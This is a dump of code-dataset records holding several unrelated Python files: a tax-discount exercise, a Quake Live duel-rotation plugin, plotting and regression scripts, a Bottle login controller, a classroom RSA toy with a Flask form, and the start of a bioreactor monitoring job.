SP\r\n\r\nvalor = float(input(\"Digite o valor do IPTU (R$):\" ))\r\n\r\nporcentagem = 4\r\n\r\ncalcularDesconto = (valor * 4 )/100\r\n\r\n\r\n\r\nprint (\"Valor do desconto (R$):\", calcularDesconto)\r\nprint (\"Valor total (R$):\", valor - calcularDesconto)\r\n","sub_path":"Beginning with Python/02exe/Exe14CalculandoIPTU.py","file_name":"Exe14CalculandoIPTU.py","file_ext":"py","file_size_in_byte":606,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"11076777","text":"# DuelArena will start automatically with 3 players\n\nimport minqlx\nfrom minqlx import Plugin\n\nfrom abc import abstractmethod\nfrom math import floor\n\nMIN_ACTIVE_PLAYERS = 3 # min players for duelarena\nMAX_ACTIVE_PLAYERS = 4 # max players for duelarena\n\n\nclass duelarena(minqlx.Plugin):\n def __init__(self):\n super().__init__()\n\n self.add_hook(\"team_switch_attempt\", self.handle_team_switch_event)\n self.add_hook(\"player_disconnect\", self.handle_player_disco)\n self.add_hook(\"player_loaded\", self.handle_player_loaded, priority=minqlx.PRI_LOWEST)\n self.add_hook(\"round_countdown\", self.handle_round_countdown)\n self.add_hook(\"game_countdown\", self.handle_game_countdown)\n self.add_hook(\"round_end\", self.handle_round_end)\n self.add_hook(\"game_end\", self.handle_game_end)\n self.add_hook(\"map\", self.handle_map_change)\n self.add_command(\"duelarena\", self.cmd_duelarena, permission=5, usage=\"[auto|force]\")\n self.add_command((\"duel\", \"d\"), self.cmd_duel)\n\n self.duelarenastrategy = AutoDuelArenaStrategy(MIN_ACTIVE_PLAYERS)\n self.duelmode = False # global gametype switch\n self.initduel = False # initial player setup switch\n self.print_reset_scores = False # flag for round_countdown\n self.player_red = None # force spec exception for this player\n self.player_blue = None # force spec exception for this player\n self.player_spec = set() # force spec exception for this player\n self.duelvotes = set() # !d !duel votes counter\n self.queue = [] # queue for rotating players\n self.scores = {} # store/restore individual team scores\n\n # initialize playerset on plugin reload\n teams = Plugin.teams()\n self.playerset = set(teams['red'] + teams['blue']) # collect players who joined a team\n\n # Don't allow players to join manually when DuelArena is active\n def handle_team_switch_event(self, player, old, new):\n\n if not self.game:\n return\n\n if new in ['spectator'] and player.steam_id in self.player_spec:\n self.player_spec.remove(player.steam_id) # we initiated switch to spec? Just remove him from exception list\n elif new in ['spectator'] \\\n and player.steam_id in self.playerset: # player left team? let's see what we do with him...\n self.playerset.remove(player.steam_id)\n self.duelarena_switch()\n\n if new in ['red', 'blue', 'any'] and player.steam_id not in self.playerset:\n self.playerset.add(player.steam_id) # player joined a team? Add him to playerset\n self.duelarena_switch() # we good enough for DuelArena?\n\n if self.game.state == \"warmup\":\n if len(self.playerset) == MIN_ACTIVE_PLAYERS:\n Plugin.center_print(\"Ready up for ^6DuelArena^7!\")\n Plugin.msg(\"Ready up for ^6DuelArena^7! Round winner stays in, loser rotates with spectator.\")\n return\n\n if not self.duelmode:\n return\n\n # If we initiated this switch, allow it\n if player == self.player_red:\n self.player_red = None\n return\n if player == self.player_blue:\n self.player_blue = None\n return\n\n # If they wanted to join a team, halt this hook at enginge-level and other hooks from being called\n if new in ['red', 'blue', 'any']:\n player.tell(\"Server is now in ^6DuelArena^7 mode. You will automatically rotate with round loser.\")\n return minqlx.RET_STOP_ALL\n\n # Announce next duel\n def handle_round_countdown(self, round_number):\n if not self.duelmode:\n return\n\n if self.print_reset_scores:\n self.print_results_and_reset_scores()\n return\n\n teams = Plugin.teams()\n if teams[\"red\"] and teams[\"blue\"]:\n Plugin.center_print(\"{} ^2vs^7 {}\".format(teams[\"red\"][-1].name, teams[\"blue\"][-1].name))\n Plugin.msg(\"DuelArena: {} ^2vs^7 {}\".format(teams[\"red\"][-1].name, teams[\"blue\"][-1].name))\n\n def print_results_and_reset_scores(self):\n self.print_results()\n self.reset_team_scores()\n self.print_reset_scores = False\n\n # check if we need to deavtivate DuelArena on player disconnect\n @minqlx.delay(3)\n def handle_player_disco(self, player, reason):\n if player.steam_id in self.playerset:\n self.playerset.remove(player.steam_id)\n self.duelarena_switch()\n\n if player.steam_id in self.duelvotes:\n self.duelvotes.remove(player.steam_id)\n\n @minqlx.delay(3)\n def handle_player_loaded(self, player):\n if isinstance(self.duelarenastrategy, ForcedDuelArenaStrategy) and self.game.state == \"in_progress\":\n playerset_with_loaded_player = self.playerset | {player.steam_id}\n if self.duelarena_should_be_aborted(self.game, playerset_with_loaded_player, self.scores):\n player.tell(\n \"{}, by joining DuelArena will be aborted and server switches to standard CA!\".format(player.name))\n else:\n player.tell(\n \"{}, DuelArena match is in progress. Join to enter DuelArena! Round winner stays in, loser \"\n \"rotates with spectator.\"\n .format(player.name))\n elif player.team == \"spectator\" and len(self.playerset) == 2:\n player.tell(\"{}, join to activate DuelArena! Round winner stays in, loser rotates with spectator.\"\n .format(player.name))\n elif not self.duelmode and len(self.connected_players()) in range(MIN_ACTIVE_PLAYERS, MAX_ACTIVE_PLAYERS + 1):\n player.tell(\n \"{}, type ^6!duel^7 or ^6!d^7 to vote for DuelArena! Round winner stays in, loser rotates with \"\n \"spectator. Hit 8 rounds first to win!\"\n .format(player.name))\n\n # When a game is about to start and duelmode is active, initialize\n @minqlx.delay(3)\n def handle_game_countdown(self):\n\n self.duelarena_switch()\n\n if self.duelmode:\n self.init_duel()\n\n def handle_game_end(self, data):\n\n if not self.game:\n return\n\n # put both players back to the queue, winner first position, loser last position\n if not self.duelmode:\n return\n\n (loser, winner) = (\"red\", \"blue\") if int(data['TSCORE1']) > int(data['TSCORE0']) else (\"blue\", \"red\")\n\n teams = Plugin.teams()\n\n if len(teams[loser]) == 1:\n self.queue.insert(0, teams[loser][-1].steam_id)\n if len(teams[winner]) == 1:\n self.queue.append(teams[winner][-1].steam_id)\n if not teams[winner][-1].steam_id in self.scores.keys():\n self.scores[teams[winner][-1].steam_id] = 0\n self.scores[teams[winner][-1].steam_id] += 1\n\n self.print_results()\n\n @minqlx.delay(1.5)\n def handle_round_end(self, data):\n\n # Not in CA? Do nothing\n if not self.game or self.game.type_short != \"ca\":\n return\n\n # Last round? Do nothing except adding last score point to winner\n if self.game.roundlimit in [self.game.blue_score, self.game.red_score]:\n return\n\n if self.initduel:\n self.init_duel()\n return\n\n if not self.duelmode:\n return\n\n teams = Plugin.teams()\n\n winning_team = data[\"TEAM_WON\"].lower()\n if winning_team not in [\"red\", \"blue\"]:\n return # Draw? Do nothing\n\n winner = teams[winning_team][-1]\n self.scores[winner.steam_id] = getattr(self.game, winning_team + \"_score\")\n\n losing_team = \"blue\" if winning_team == \"red\" else \"red\"\n loser = teams[losing_team][-1]\n loser_team_score = getattr(self.game, losing_team + \"_score\")\n self.scores[loser.steam_id] = loser_team_score # store loser team score\n\n if len(self.queue) == 0:\n self.deactivate_duelarena()\n self.print_results_and_reset_scores()\n return\n\n next_player = Plugin.player(self.queue.pop())\n\n if not next_player or next_player.team != \"spectator\":\n self.deactivate_duelarena()\n self.print_results_and_reset_scores()\n return\n\n self.move_player_to_team(next_player, losing_team)\n self.game.addteamscore(losing_team, self.scores[next_player.steam_id] - loser_team_score)\n\n self.queue.insert(0, loser.steam_id)\n self.move_player_to_team(loser, \"spectator\")\n loser.tell(\"{}, you've been put back to DuelArena queue. Prepare for your next duel!\".format(loser.name))\n\n def move_player_to_team(self, player, team):\n if team == \"spectator\":\n self.player_spec.add(player.steam_id)\n else:\n setattr(self, \"player_\" + team, player)\n player.put(team)\n\n def handle_map_change(self, mapname, factory):\n self.duelarenastrategy = AutoDuelArenaStrategy(MIN_ACTIVE_PLAYERS)\n self.duelvotes = set()\n self.duelmode = False\n self.initduel = False\n\n def init_duel(self):\n\n self.checklists()\n self.init_duel_team_scores() # set all player scores 0\n\n for sid in self.playerset - set(self.queue):\n self.queue.insert(0, sid)\n\n teams = Plugin.teams()\n\n player1 = Plugin.player(self.queue.pop())\n player2 = Plugin.player(self.queue.pop())\n\n # both players already on different teams? Do nothing\n if (player2.team != 'blue' or player1.team != 'red') and \\\n (player2.team != 'red' or player1.team != 'blue'):\n # only one player already in any team?\n if player1.team == 'red':\n self.move_player_to_team(player2, \"blue\")\n elif player1.team == 'blue':\n self.move_player_to_team(player2, \"red\")\n elif player2.team == 'blue':\n self.move_player_to_team(player1, \"red\")\n elif player2.team == 'red':\n self.move_player_to_team(player1, \"blue\")\n # both players not in teams?\n else:\n self.move_player_to_team(player1, \"red\")\n self.move_player_to_team(player2, \"blue\")\n\n # put all other players to spec\n for player in set(teams['red'] + teams['blue']) - {player1, player2}:\n self.move_player_to_team(player, \"spectator\")\n\n self.initduel = False\n\n def duelarena_switch(self):\n self.checklists()\n\n if self.duelmode and self.duelarena_should_be_aborted(self.game, self.playerset, self.scores):\n self.deactivate_duelarena()\n\n if not self.duelmode and self.duelarena_should_be_activated():\n self.activate_duelarena()\n elif self.duelmode and not self.duelarena_should_be_activated():\n self.deactivate_duelarena()\n\n def duelarena_should_be_aborted(self, game, playerset, scores):\n return self.duelarenastrategy.duelarena_should_be_aborted(game, playerset, scores)\n\n def duelarena_should_be_activated(self):\n return self.duelarenastrategy.duelarena_should_be_activated(self.playerset)\n\n def deactivate_duelarena(self):\n self.duelarenastrategy = AutoDuelArenaStrategy(MIN_ACTIVE_PLAYERS)\n self.duelmode = False\n self.initduel = False\n Plugin.msg(\"DuelArena has been deactivated!\")\n Plugin.center_print(\"DuelArena deactivated!\")\n if self.game.state == \"in_progress\":\n self.print_reset_scores = True\n\n def activate_duelarena(self):\n self.duelmode = True\n self.print_reset_scores = False\n Plugin.msg(\n \"DuelArena activated! Round winner stays in, loser rotates with spectator. Hit 8 rounds first to win!\")\n Plugin.center_print(\"DuelArena activated!\")\n if self.game.state == \"in_progress\":\n self.initduel = True\n\n def checklists(self):\n self.queue[:] = [sid for sid in self.queue if Plugin.player(sid) and Plugin.player(sid).ping < 990]\n self.playerset = set([sid for sid in self.playerset if Plugin.player(sid) and Plugin.player(sid).ping < 990])\n\n def reset_team_scores(self):\n if self.game.state != \"in_progress\":\n return\n\n self.game.addteamscore('red', -self.game.red_score)\n self.game.addteamscore('blue', -self.game.blue_score)\n\n def init_duel_team_scores(self):\n self.reset_team_scores()\n self.scores = {player_id: 0 for player_id in self.playerset}\n\n def print_results(self):\n Plugin.msg(\"DuelArena results:\")\n place = 0\n prev_score = -1\n for (steam_id, score) in sorted(self.scores.items(), key=lambda x: x[1], reverse=True):\n if score != prev_score:\n place += 1\n prev_score = score\n player = Plugin.player(steam_id)\n if player:\n Plugin.msg(\"Place ^3{}.^7 {} ^7(Wins:^2{}^7)\".format(place, player.name, score))\n else:\n Plugin.msg(\"Place ^3{}.^7 ^7(Wins:^2{}^7)\".format(place, score))\n\n def cmd_duelarena(self, player, msg, channel):\n\n if len(msg) < 2 or msg[1] not in [\"auto\", \"force\"]:\n state = self.duelarenastrategy.state\n Plugin.msg(\"Current DuelArena state is: ^6{}\".format(state))\n return minqlx.RET_USAGE\n if msg[1] == \"force\":\n self.duelarenastrategy = ForcedDuelArenaStrategy(MIN_ACTIVE_PLAYERS, MAX_ACTIVE_PLAYERS)\n Plugin.msg(\"^7Duelarena is now ^6forced^7!\")\n elif msg[1] == \"auto\":\n self.duelarenastrategy = AutoDuelArenaStrategy(MIN_ACTIVE_PLAYERS)\n Plugin.msg(\"^7Duelarena is now ^6automatic^7!\")\n self.duelarena_switch()\n\n def cmd_duel(self, player, msg, channel):\n\n if self.duelmode:\n Plugin.msg(\"^7DuelArena already active!\")\n return\n\n if self.game.state != \"warmup\":\n Plugin.msg(\"^7DuelArena votes only allowed in warmup!\")\n return\n\n connected_players = len(self.connected_players())\n\n if connected_players not in range(MIN_ACTIVE_PLAYERS, MAX_ACTIVE_PLAYERS + 1):\n Plugin.msg(\"^6!duel^7 votes only available with ^6{}-{}^7 players connected\"\n .format(MIN_ACTIVE_PLAYERS, MAX_ACTIVE_PLAYERS))\n return\n\n if player.steam_id in self.duelvotes:\n Plugin.msg(\"{}^7 you already voted for DuelArena!\".format(player.name))\n return\n\n self.duelvotes.add(player.steam_id)\n\n have = len(self.duelvotes)\n need = floor(connected_players / 2) + 1\n votes_left = need - have\n\n if votes_left > 0:\n Plugin.msg(\n \"^7Total DuelArena votes = ^6{}^7, but I need ^6{}^7 more to activate DuelArena.\"\n .format(have, votes_left))\n return\n\n Plugin.msg(\"^7Total DuelArena votes = ^6{}^7, vote passed!\".format(have))\n Plugin.play_sound(\"sound/vo/vote_passed.ogg\")\n self.duelarenastrategy = ForcedDuelArenaStrategy(MIN_ACTIVE_PLAYERS, MAX_ACTIVE_PLAYERS)\n self.duelarena_switch()\n\n def connected_players(self):\n teams = Plugin.teams()\n return teams[\"red\"] + teams[\"blue\"] + teams[\"spectator\"]\n\n\nclass DuelArenaStrategy:\n\n @property\n def state(self):\n \"\"\"\n :rtype: str\n \"\"\"\n pass\n\n @abstractmethod\n def duelarena_should_be_activated(self, playerset):\n \"\"\"\n :rtype: bool\n \"\"\"\n pass\n\n def duelarena_should_be_aborted(self, game, playerset, scores):\n if not game or game.state != \"in_progress\":\n return False\n\n if len(playerset) <= MAX_ACTIVE_PLAYERS:\n return False\n\n return len(scores) == 0 or max(scores.values()) < 6\n\n\nclass AutoDuelArenaStrategy(DuelArenaStrategy):\n\n def __init__(self, min_active_players):\n super().__init__()\n\n self.min_active_players = min_active_players\n\n @property\n def state(self):\n return \"auto\"\n\n def duelarena_should_be_activated(self, playerset):\n return len(playerset) == self.min_active_players\n\n\nclass ForcedDuelArenaStrategy(DuelArenaStrategy):\n\n def __init__(self, min_active_players, max_active_players):\n super().__init__()\n\n self.min_active_players = min_active_players\n self.max_active_players = max_active_players\n\n @property\n def state(self):\n return \"force\"\n\n def duelarena_should_be_activated(self, playerset):\n return len(playerset) in range(self.min_active_players, self.max_active_players + 1)\n","sub_path":"src/main/python/duelarena.py","file_name":"duelarena.py","file_ext":"py","file_size_in_byte":16706,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"628859186","text":"#Faça um Programa que peça as quatro notas de 10 alunos,\n#calcule e armazene num vetor a média de cada aluno, imprima o número\n#de alunos com média maior ou igual a 7.0.\nnotas = 4\nmedias =[]\nalunos = 10\ncontador = 1\nQnt = 0\n\nwhile contador <= alunos :\n soma = 0\n for i in range(1,notas+1):\n num = float(input(\"Digite a nota %i do aluno %i: \"%(i,contador)))\n soma = soma + num \n media = soma/notas\n medias.append(media)\n if media >= 7.0 :\n Qnt += 1\n contador = contador + 1 \n \nprint(\"As medias foram\",medias)\nprint(\"A quantidade de notas acima ou igual a 7 foi: \",Qnt)\n","sub_path":"Python-exercicios/questao7.py","file_name":"questao7.py","file_ext":"py","file_size_in_byte":632,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"334695704","text":"import matplotlib.pyplot as plt\nimport pandas as pd\nfrom matplotlib.ticker import FuncFormatter\nimport matplotlib.font_manager as font_manager\nimport numpy as np\n\n#global font setting\nplt.rcParams['font.family'] = ['Times New Roman']\nplt.rcParams.update({'font.size': 20})\nplt.rcParams.update({'figure.autolayout': True})\nplt.rcParams['axes.axisbelow'] = True\nplt.figure(figsize=((8.0/7.0)*6,5))\n\n#store file names\n#store file names\nfname = [\"stack_q2_5p_results\"]\n#store normal query costs\n#n_costs = [3.269,3.269]\n#64.96\n#the column in .csv file (each column one line)\nnum_range = [\"No-PS\",\"adaptive\"]\n#each line color\n#l_color = [\"Deepskyblue\",\"Red\",\"green\"]\nl_color = [\"Red\",\"Deepskyblue\"]\n\n\nfor i in range(len(fname)):\n\t#current file name\n\tcur_fn = fname[i]\n\n\t#read data to pop\n\tpop = pd.read_csv(cur_fn + \".csv\")\n\t#pop.plot(marker='h',lw=2)\n\n\tN = len(pop['num'])\n\tx1 = np.arange(N)\n\tfor j in range(len(num_range)):\n\t\ty1 = pop[num_range[j]]\n\t\t#since no log0, so use x2[y2>0],y2[y2>0] -> only plot y-axis > 0 to skip log0\n\t\t#plt.plot(x1[y1>0],y1[y1>0],marker='h',lw=2,color=l_color[j],label=num_range[j])\n\t\tplt.plot(x1,y1,lw=1.2,color=l_color[j],label=num_range[j])\n\n\t#plt.axhline(y=n_costs[i], linewidth=2, color='sienna',linestyle=':',label=\"normal\")\n\n\t#label name\n\tplt.xlabel(\"Number of Iterations\",fontsize=34)\n\tplt.ylabel(\"Runtime (sec)\",fontsize=34)\n\n\t#plt.title(cur_fn[0:2].upper() + \" - Running Time on Different Scale of the Input (\"+ d_size + \")\")\n\tplt.tick_params(axis='x', which='major', labelsize=25)\n\tplt.tick_params(axis='y', which='major', labelsize=25)\n\tplt.yticks([0,2000,4000,6000,8000,10000],['0','2,000','4,000','6,000','8,000','10,000'])\n\n\t#set x-axis value\n\t#plt.xticks([0,1,2,3,4,5,6,7], ['73','2k','4k','6k','8k','10k','12k','14k']);\n\t#,fontproperties='STKAITI'\n\tplt.grid(axis='y')\n\t#check if the runtime is small, use scale for y-axis\n\t#if (cur_fn.find(\"1gb\") != -1 and cur_fn.find(\"q1\") != -1):\n\t#if (n_costs[i] <= 6 and cur_fn.find(\"zone\") == -1):\n\t#\tplt.yscale('log',basey=10)\n\t#plt.yscale('log',basey=10)\n\t#plt.yscale('log',basey=10)\n\t#legend setting\n\t#font = font_manager.FontProperties(family='Comic Sans MS',\n\t#\t\t\t\t\t\t\t\t weight='bold',\n # \t style='normal', size=16)\n\tif(i == 0):\n\t\tplt.legend(loc = \"upper left\",prop={'size': 26})\n\telif(i==1):\n\t\tplt.legend(loc = \"upper left\",prop={'size': 20})\n\telif(i==2):\n\t\tplt.legend(loc = \"upper left\",prop={'size': 21})\n\t#plt.legend()\n\t#plt.show()\n\n\t#save each plot to pdf\n\tprint (cur_fn + \".pdf\")\n\tplt.savefig(\"./\" + cur_fn + \".pdf\",dpi=600,format='pdf');\n\t#clean current plot data\n\tplt.clf();\n\n\n\n\t###################\n\t#old plot only work for python 2.7 (above can work on python 3.6 also)\n\t###################\n\t#read data to pop\n\t#pop = pd.read_csv(cur_fn + \".csv\",index_col='type')\n\t#plot each line and the hline\n\t#if (cur_fn.find(\"zone\") != -1):\n\t#\tplt.plot(pop['zone'],marker='h',lw=2,color=\"Deepskyblue\",label=\"zone\")\n\t#else:\n\t#\tplt.plot(pop['H32'],marker='h',lw=2,color=\"Deepskyblue\",label=\"H32\")\n\t#\tplt.plot(pop['H64'],marker='h',lw=2,color=\"Red\",label=\"H64\")\n\t#\tplt.plot(pop['H96'],marker='h',lw=2,color=\"Springgreen\",label=\"H96\")\n\t#\tplt.plot(pop['H128'],marker='h',lw=2,color=\"Hotpink\",label=\"H128\")\n\t#\tplt.plot(pop['H256'],marker='h',lw=2,color=\"Darkorange\",label=\"H256\")\n","sub_path":"result/end_to_end/stackOverflow/q2_3_sels/plot_stack_q2_5p.py","file_name":"plot_stack_q2_5p.py","file_ext":"py","file_size_in_byte":3294,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"19832245","text":"\"\"\"\nRoot Controller\n\"\"\"\nimport functools\nimport controller\n\nfrom bottle import abort, post, redirect, request, response, route, static_file\nfrom kajiki_view import kajiki_view\nfrom markupsafe import Markup\n\n\ndef authenticated():\n \"\"\" Defines an authenticated decorator, which verifies that the user is logged\n in.\n\n When a function is associated with this decorator, if the function\n returns a dict this function will append a bool indicating whether or\n not the user is logged in. \n\n Args:\n None, but calls the user management interface to determine if the\n user is logged in.\n Returns:\n The dictionary the contained function returns, with an additional\n entry named 'logged_in' that maps to a boolean that indicates \n whether or not the user is logged in.\n\n If the contained function does not return a dict, then this function\n returns whatever the contained function returns.\n\n This function will also redirect the user to the login page if the\n user is not logged in.\n \"\"\"\n\n def decorator(function):\n\n @functools.wraps(function)\n def wrapper(*args, **kwargs):\n is_user_logged_in = (\n controller.user_management_interface.is_user_logged_in(request))\n if not is_user_logged_in:\n redirect('/login_page')\n\n webpage_arguments = function(*args, **kwargs)\n\n api_key = controller.user_management_interface.get_api_key_for_user(\n request)\n if isinstance(webpage_arguments, dict):\n webpage_arguments['logged_in'] = is_user_logged_in\n webpage_arguments['api_key'] = api_key\n\n return webpage_arguments\n\n return wrapper\n\n return decorator\n\n\n@route('/')\n@kajiki_view('index')\n@authenticated()\ndef index():\n \"\"\" The log streaming dashboard, this is where logs go when they're\n streamed.\n\n Checks if the user is logged in. If not, redirects them to a login page.\n Otherwise sends them to the log viewing dashboard, where the logs are\n streamed to.\n\n Args:\n None\n Returns:\n If the user is not logged in, redirects them to the login page.\n Otherwise this returns a webpage specified in the kajiki view decorator\n with the additional values in a dictionary.\n page: The page that Kajiki should show.\n api_key: The Web UI user's API key.\n\n \"\"\"\n\n return {\n 'page': 'index',\n }\n\n\n@route('/current')\n@kajiki_view('current')\n@authenticated()\ndef current():\n \"\"\" Show current streaming logs. \"\"\"\n\n return {\n 'page': 'current',\n }\n\n\n@route('/historical')\n@kajiki_view('historical')\n@authenticated()\ndef historical():\n \"\"\"\" Retrieve stored data from datastore. \"\"\"\n\n return {\n 'page': 'historical',\n }\n\n\n@route('/new_login')\n@kajiki_view('new_login')\ndef new_login():\n \"\"\"Shows new login page.\"\"\"\n return {'page': 'new_login'}\n\n\n@route('/resources/')\ndef static(filepath):\n \"\"\"\n Routes all of the resources\n http://stackoverflow.com/a/13258941/2319844\n \"\"\"\n return static_file(filepath, root='resources')\n\n\n@route('/login_page')\n@kajiki_view('login')\ndef login():\n \"\"\" Retrieves the login page from the user management interface and serves\n it to the user.\n\n Args:\n None\n Returns:\n An HTML webpage containing a UI for the user to log into the website.\n This function returns a webpage specified by the kajiki view decorator.\n This function also returns a subcomponent of a webpage that defines the\n format of the login page, which is specified in the user management\n interface.\n \"\"\"\n\n return {\n 'login_fields': Markup(\n controller.user_management_interface.get_login_ui()),\n 'logged_in': controller.user_management_interface.is_user_logged_in(\n request),\n }\n\n@post('/login')\ndef handle_login():\n \"\"\" Takes a login form and verifies the user's identity. \"\"\"\n login_successful, error_message = (\n controller.user_management_interface.handle_login(request.forms,\n request, response))\n\n # If handle_login returned a string, it means it failed and returned an\n # error message.\n if not login_successful:\n # TODO: Make better error handling\n print('Something went wrong!:', error_message)\n abort(403, \"Login failed, error: %s\" % error_message)\n else:\n redirect('/')\n\n@route('/logout')\ndef logout():\n \"\"\" Logs the user out of the web UI interface.\n\n Functionally this just takes the API key cookie on the user's machine and\n sets it to a dummy value and expires it immediately.\n\n Uses the bottle response object, which can modify cookies on a user's\n browser.\n\n Returns a modified, expried cookie on the user's browser.\n Also redirects to this website's index page, which should redirect to\n the login page.\n \"\"\"\n\n response.set_cookie('api_key', '', expires=0)\n redirect('/')\n","sub_path":"server/controller/root.py","file_name":"root.py","file_ext":"py","file_size_in_byte":5158,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"576518008","text":"\"this module uses a regression module to predict future values of water level\"\n\nimport pandas as pd\nfrom sklearn.tree import DecisionTreeRegressor\nfrom sklearn.metrics import mean_absolute_error\nfrom sklearn.ensemble import RandomForestRegressor\nimport numpy as np\nfrom matplotlib import pyplot as plt\nimport matplotlib\nimport datetime\n\n\n#transforming the data into a panda frame\ndef creating_pd_frame(dates,levels):\n dates_float= matplotlib.dates.date2num(dates)\n flood=pd.DataFrame(list(zip(dates_float,levels)) , columns=[\"Date\",\"Level\"])\n return flood\n\n\n#creating a regressor line \ndef creating_regressor_line(flood,dt,station_name):\n regressor= DecisionTreeRegressor()\n regressor.fit(np.array([flood[\"Date\"]]).T, flood[\"Level\"])\n \n now=datetime.datetime.utcnow()\n end= now-datetime.timedelta(days=dt)\n start= now+datetime.timedelta(days=1)\n index=pd.date_range(end,start, freq='15T')\n index_float=matplotlib.dates.date2num(index.to_pydatetime())\n xx=index_float.T\n predictions=[]\n for i in range(len(xx)):\n predictions.append(regressor.predict(xx[i]))\n plt.title(station_name)\n plt.plot(flood['Date'], flood['Level'], 'o', label='observation')\n plt.plot(xx, predictions, linewidth=4, alpha=.7, label='prediction')\n plt.xlabel('Dates')\n plt.ylabel('Level')\n plt.legend()\n plt.show()\n\n#creating a forest \ndef creating_forest(flood,dt,station_name):\n now=datetime.datetime.utcnow()\n end= now-datetime.timedelta(days=dt)\n start= now+datetime.timedelta(days=1)\n index=pd.date_range(end,start, freq='15T')\n index_float=matplotlib.dates.date2num(index.to_pydatetime())\n xx=index_float.T\n forest = RandomForestRegressor(max_depth=3, n_estimators=100)\n forest.fit(np.array([flood['Date']]).T, flood['Level'])\n predictions=[]\n for i in range(len(xx)):\n predictions.append(forest.predict(xx[i]))\n #plt.subplot(3,3,i+1)\n plt.title(station_name)\n plt.plot(flood['Date'], flood['Level'], 'o', label='observation')\n plt.plot(xx, predictions, linewidth=4, alpha=.7, label='prediction')\n plt.xlabel('Dates')\n plt.ylabel('Level')\n plt.legend()\n plt.show()\n\n\n#creating a prediction interval\ndef predict_interval(x, ensamble, z=1.96):\n predictions=[estimator.predict(x) for estimator in ensamble.estimators_]\n mean=np.mean(predictions)\n std = np.std(predictions)\n return mean - z*std, mean, mean + z*std\n\n#creating an interval where the predictions are accurate to a certain percent\ndef creating_interval(flood,dt,station_name,latest_level):\n now=datetime.datetime.utcnow()\n end= now-datetime.timedelta(days=dt)\n start= now+datetime.timedelta(days=1)\n index=pd.date_range(end,start, freq='15T')\n index_float=matplotlib.dates.date2num(index.to_pydatetime())\n xx=index_float.T\n forest = RandomForestRegressor(max_depth=3, n_estimators=100)\n forest.fit(np.array([flood['Date']]).T, flood['Level'])\n predictions=[]\n for i in range(len(xx)):\n predictions.append(forest.predict(xx[i]))\n low, mean, high = [],[],[]\n for i in range(len(xx)):\n low.append(predict_interval(xx[i],forest)[0])\n mean.append(predict_interval(xx[i],forest)[1])\n high.append(predict_interval(xx[i],forest)[2])\n plt.title(station_name)\n if forest.predict(matplotlib.dates.date2num(now)) n:\n d = 0\n break\n if d > 0:\n generation_success = True\n break\n\n return {'public': (e, n), 'private': (d, n)}\n\ndef encrypt(m, pkey):\n nm = ''\n e = pkey[0]\n n = pkey[1]\n chunks = []\n cipher_text = ''\n for l in m:\n if l == ' ':\n nm += '27'\n else:\n if (ord(l) - 96) < 10:\n nm += '0' + str((ord(l) - 96))\n else:\n nm += str((ord(l) - 96))\n if len(str(nm)) < n:\n pad_len = len(str(nm)) % 4\n nm += ('0') * pad_len\n c = 0\n chunk = ''\n for i in nm:\n chunk += i\n c += 1\n if c == 4:\n chunks.append(chunk)\n chunk = ''\n c = 0\n for cn in chunks:\n cn = int(cn)\n cipher_text += str((cn ** e) % n) + '-'\n return cipher_text\n\ndef decrypt(c, private_key):\n d = private_key[0]\n n = private_key[1]\n plain_message = ''\n ret = ''\n cipher_chunks = (c.split('-'))\n del cipher_chunks[-1]\n for cn in cipher_chunks:\n pc = str((int(cn) ** d) % n)\n if len(pc) < 4:\n pc = '0' + pc\n plain_message += pc\n bc = 0\n set = ''\n chars = []\n for dig in plain_message:\n set += (dig)\n bc += 1\n if bc == 2:\n chars.append(int(set))\n bc = 0\n set = ''\n for char in chars:\n if char == 27:\n ret += ' '\n else:\n ret += chr(char + 96)\n return ret\n\nclass EncryptForm(FlaskForm):\n message = StringField('Message: ', validators=[InputRequired('Please Input Something')])\n key = StringField('Key: ', validators=[InputRequired('Please Input Something')])\n\nclass DecryptForm(FlaskForm):\n cipher = StringField('Cipher: ', validators=[InputRequired('Please Input Something')])\n key = StringField('Key: ', validators=[InputRequired('Please Input Something')])\n\n\napp = Flask(__name__)\napp.config['SECRET_KEY'] = 'APCompSciP'\n\n@app.route('/encrypt', methods=['GET', 'POST'])\ndef encrypt_page():\n encrypt_form = EncryptForm()\n if encrypt_form.validate_on_submit():\n kin = encrypt_form.key.data\n key = tuple(map(int, kin.split(',')))\n msg = encrypt_form.message.data\n cipher = encrypt(msg, key)\n return render_template('encrypt.html', encrypt_form=encrypt_form, cipher=cipher)\n return render_template('encrypt.html', encrypt_form=encrypt_form)\n\n@app.route('/decrypt', methods=['GET', 'POST'])\ndef decrypt_page():\n decrypt_form = DecryptForm()\n if decrypt_form.validate_on_submit():\n kin = decrypt_form.key.data\n key = tuple(map(int, kin.split(',')))\n cipher = decrypt_form.cipher.data\n p_message = decrypt(cipher, key)\n return render_template('decrypt.html', decrypt_form=decrypt_form, plain_text=p_message)\n return render_template('decrypt.html', decrypt_form=decrypt_form)\n\nif __name__ == '__main__':\n print(generate_keys())\n app.run(port=randint(5000, 5200))\n","sub_path":"rsa.py","file_name":"rsa.py","file_ext":"py","file_size_in_byte":4033,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"500632004","text":"# -*- coding: utf-8 -*-\n\"\"\"\nContinuously monitor the bioreactor and provide summary statistics on what's going on\n\"\"\"\nimport json\nimport time\nimport subprocess\nimport signal\nimport threading\nimport os\n\nimport click\n\nfrom morbidostat.pubsub import publish, subscribe_and_callback, QOS\nfrom morbidostat.utils import log_start, log_stop\nfrom morbidostat.whoami import unit, experiment\nfrom morbidostat.config import leader_hostname\nfrom morbidostat.background_jobs import BackgroundJob\nfrom typing import Optional\n\nVIAL_VOLUME = 14\nJOB_NAME = os.path.splitext(os.path.basename((__file__)))[0]\n\n\nclass AltMediaCalculator(BackgroundJob):\n \"\"\"\n Computes the fraction of the vial that is from the alt-media vs the regular media.\n\n \"\"\"\n\n def __init__(self, unit: Optional[str] = None, experiment: Optional[str] = None, verbose: int = 0, **kwargs) -> None:\n super(AltMediaCalculator, self).__init__(job_name=JOB_NAME, verbose=verbose, unit=unit, experiment=experiment)\n self.unit = unit\n self.experiment = experiment\n 